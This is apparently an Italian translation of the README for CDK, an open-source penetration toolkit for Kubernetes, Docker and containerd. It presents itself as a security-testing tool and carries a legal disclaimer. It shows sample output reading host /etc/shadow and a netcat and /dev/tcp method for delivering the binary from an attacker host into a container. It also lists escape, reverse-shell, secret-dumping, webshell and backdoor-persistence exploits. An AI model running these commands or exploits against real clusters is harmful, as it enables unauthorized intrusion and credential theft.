
📦 Rendi più facile il test di sicurezza di K8s, Docker e Containerd.
Inglese | 简体中文

L'uso di CDK per attaccare bersagli senza previo consenso reciproco è illegale. CDK è destinato esclusivamente a scopi di test di sicurezza.
CDK è un toolkit di penetrazione per container open-source, progettato per offrire sfruttamento stabile in diversi container snelli senza alcuna dipendenza dal sistema operativo. Viene fornito con utili net-tools e molti potenti PoC/EXP e ti aiuta a fuggire dal container e a prendere il controllo del cluster K8s facilmente.
Esegui cdk eva per ottenere informazioni di valutazione e un exploit raccomandato, quindi esegui cdk run per avviare l'attacco.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Scarica l'ultima release da https://github.com/cdk-team/CDK/releases/
Inserisci i file eseguibili nel container di destinazione e inizia i test.
Se hai un exploit che può caricare un file, allora puoi caricare direttamente il binario di CDK.
Se hai un exploit RCE, ma il container di destinazione non ha curl o wget, puoi utilizzare il seguente metodo per consegnare CDK:
(on your host)
nc -lvp 999 < cdk
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK ha tre moduli:
Utilizzo
cdk evaluate [--full]
Elenca tutti gli exploit disponibili:
cdk run --list
Esegui exploit mirato:
cdk run <script-name> [options]
Nota su Thin: La thin release è preparata per shell di container a vita breve come funzioni serverless. Aggiungiamo tag di build nel codice sorgente e tagliamo alcuni exploit per rendere il binario più leggero. Il file da 2 MB contiene il 90% delle funzioni di CDK, inoltre puoi selezionare exploit utili dal codice sorgente di CDK per creare il tuo binario leggero personalizzato.
Esecuzione di comandi come in Linux, leggermente diversa negli argomenti di input, vedi il link di utilizzo.
cdk nc [options]
cdk ps
Se vuoi sapere come abbiamo rilasciato una nuova versione, come viene prodotta la thin, perché forniamo versioni upx, quali sono le differenze tra le diverse versioni (all, normal, thin, upx) e come scegliere exploit e strumenti CDK specifici per compilare una release personalizzata, consulta il Documento di Rilascio.
Innanzitutto, grazie per aver dedicato del tempo a contribuire!
Grazie ai seguenti contributori:
Altri contributori: Elenco Contributori
I bug vengono tracciati come GitHub Issues. Crea un issue con la versione corrente di CDK, il messaggio di errore e l'ambiente. Descrivi i passaggi esatti che riproducono il problema.
I suggerimenti di miglioramento vengono tracciati come GitHub Discussions. Puoi pubblicare qualsiasi pensiero qui per discutere direttamente con gli sviluppatori.
Risolvere problemi o mantenere la qualità di CDK:
Nuova funzionalità o exploit:

Il progetto CDK è ora incluso in 404Team Starlink Project 2.0. Unisciti alla comunità StarLink per entrare in contatto con il team di sviluppo di CDK.
| Tattiche | Script | Supportato | Utilizzo/Esempio |
|---|
| Raccolta Informazioni | Informazioni Base del SO | ✔ | link |
| Raccolta Informazioni | Capacità Disponibili | ✔ | link |
| Raccolta Informazioni | Comandi Linux Disponibili | ✔ | link |
| Raccolta Informazioni | Mount | ✔ | link |
| Raccolta Informazioni | Namespace di Rete | ✔ | link |
| Raccolta Informazioni | ENV Sensibili | ✔ | link |
| Raccolta Informazioni | Processi Sensibili | ✔ | link |
| Raccolta Informazioni | File Locali Sensibili | ✔ | link |
| Raccolta Informazioni | Kube-proxy Route Localnet (CVE-2020-8558) | ✔ | link |
| Raccolta Informazioni | Scoperta Servizi Basata su DNS | ✔ | link |
| Scoperta | Informazioni API Server K8s | ✔ | link |
| Scoperta | Informazioni Service Account K8s | ✔ | link |
| Scoperta | API Metadata del Provider Cloud | ✔ | link |
| Tattica | Tecnica | Nome Exploit CDK | Supportato | In Thin | Documentazione |
|---|
| Fuga | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| Fuga | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| Fuga | docker.sock PoC (attacco DIND) | docker-sock-check | ✔ | ✔ | link |
| Fuga | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| Fuga | Docker API (2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| Fuga | Fuga tramite Mount Dispositivo | mount-disk | ✔ | ✔ | link |
| Fuga | Fuga LXCFS | lxcfs-rw | ✔ | ✔ | link |
| Fuga | Fuga Cgroups | mount-cgroup | ✔ | ✔ | link |
| Fuga | Abuso di User Namespace non privilegiato CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | link |
| Fuga | Fuga Procfs | mount-procfs | ✔ | ✔ | link |
| Fuga | Ptrace Escaping PoC | check-ptrace | ✔ | ✔ | link |
| Fuga | Riscrittura Cgroup (devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | link |
| Fuga | Lettura file arbitrario dal sistema host (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| Scoperta | Probe Componenti K8s | service-probe | ✔ | ✔ | link |
| Scoperta | Dump Istio Sidecar Meta | istio-check | ✔ | ✔ | link |
| Scoperta | Dump delle Policy di Sicurezza dei Pod K8s | k8s-psp-dump | ✔ | link | |
| Controllo Remoto | Reverse Shell | reverse-shell | ✔ | ✔ | link |
| Controllo Remoto | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| Accesso alle Credenziali | Registry BruteForce | registry-brute | ✔ | ✔ | link |
| Accesso alle Credenziali | Scansione Chiavi di Accesso | ak-leakage | ✔ | ✔ | link |
| Accesso alle Credenziali | Etcd Ottieni Token K8s | etcd-get-k8s-token | ✔ | ✔ | |
| Accesso alle Credenziali | Dump dei Segreti K8s | k8s-secret-dump | ✔ | ✔ | link |
| Accesso alle Credenziali | Dump della Configurazione K8s | k8s-configmap-dump | ✔ | ✔ | link |
| Escalation dei Privilegi | Bypass RBAC K8s | k8s-get-sa-token | ✔ | ✔ | link |
| Escalation dei Privilegi | CVE-2026-31431 copy-fail (solo non-root→root e x86_64) | copy-fail-cve-2026-31431 | ✔ | link | |
| Persistenza | Distribuzione WebShell | webshell-deploy | ✔ | ✔ | link |
| Persistenza | Distribuzione Pod Backdoor | k8s-backdoor-daemonset | ✔ | ✔ | link |
| Persistenza | Distribuzione API Server K8s Ombra | k8s-shadow-apiserver | ✔ | link | |
| Persistenza | Attacco MITM K8s (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| Persistenza | Distribuzione CronJob K8s | k8s-cronjob | ✔ | ✔ | link |
| Comando | Descrizione | Supportato | Utilizzo/Esempio |
|---|
| nc | Tunnel TCP | ✔ | link |
| ps | Informazioni sui Processi | ✔ | link |
| netstat | Simile al comando "netstat -antup" | ✔ | |
| ifconfig | Informazioni di Rete | ✔ | link |
| vi | Modifica File | ✔ | link |
| ectl | Enumerazione non autorizzata di chiavi etcd | ✔ | |
| kcurl | Richiesta all'API Server K8s | ✔ | link |
| dcurl | Richiesta all'API HTTP di Docker | ✔ | link |
| ucurl | Richiesta al Socket Unix di Docker | ✔ | link |
| rcurl | Richiesta all'API del Registry Docker | ||
| probe | Scansione IP/Porte | ✔ | link |